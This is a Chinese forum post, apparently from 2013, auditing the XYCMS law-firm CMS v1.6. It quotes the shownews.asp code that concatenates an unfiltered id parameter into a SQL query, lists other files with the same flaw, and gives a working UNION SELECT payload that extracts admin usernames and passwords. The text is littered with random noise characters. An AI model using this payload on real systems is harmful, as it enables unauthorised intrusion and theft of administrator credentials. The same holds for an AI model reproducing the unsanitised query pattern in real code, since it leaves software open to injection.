前言：刚才蛋疼无聊下载了审计下,就稍微的看了下，漏洞太多。ps：跟有个投稿的板块文章有点类似! {3 U5 V! d, i
J8 W9 P% a* |6 G淫荡分割线4 T) @) S: u5 V* Q" M3 N4 i
--------------------------------------------------------! Y7 f% u7 d4 M8 [8 @, `- T
! o5 R+ i% J. m; _审计版本：XYCMS律师事务所建站系统 v1.6(其他版本自测)7 f5 ~: T$ U7 Q
源码地址:http://down.chinaz.com/soft/29233.htm% K( Q$ h2 T1 r2 Y7 K
8 p+ W: g3 _* H8 ] b漏洞文件:shownews.asp. X/ H) {1 R9 j1 W9 `
漏洞代码：7-13行
& q9 o* S, e+ h7 W4 \* b# O ) O# N) f) @* b# Q) g* Q- ~! a) l) s
# N P! J) Q7 i4 D8 q8 n) u" l
<%
! Q# n }$ X- m4 B7 B. N! E3 did=request.QueryString("id")) }" Q9 n/ S2 }& X) h- t, C
9 r% _2 }4 v2 A6 N( J0 g
set snews=server.createobject("adodb.recordset") 4 \# B$ C7 F! r
exec="select * from [news] where id="&id
, t' U [! f0 m% T6 Ysnews.open exec,conn,1,1
9 U* @/ G0 v3 e* ]$ z; m. C: V%>/ c% \& b7 `2 h% h
$ [' K2 D Z' d1 x# O
1 O) A8 J0 B6 y4 c2 C+ x
什么过滤都没有 直造成注入: n; c3 I) z. y' [3 v3 m
. K2 ?" A' I* c2 E" x5 {. k
注入点:http://127.0.0.1:99/shownews.asp?id=xx
* E! R" h7 ~/ l$ Q
! F; {: d" b! ^其余相同漏洞文件:showdxal.asp,showfwly.asp 等等自己找5 [6 R- B& h# v- I% z* ~. ?
! {1 T9 b2 J& i! \7 ~* d5 ^3 E ; B% x0 b5 Y9 d) M" N6 E
exp: union select 1,admin,password,4,5,7 from admin_user
) j: Z, h4 x8 N$ y2 L5 j' X [% t8 j3 L# M: I' E: @4 h8 ?( @
|
发表于 2013-4-4 17:28:12
收藏
支持
反对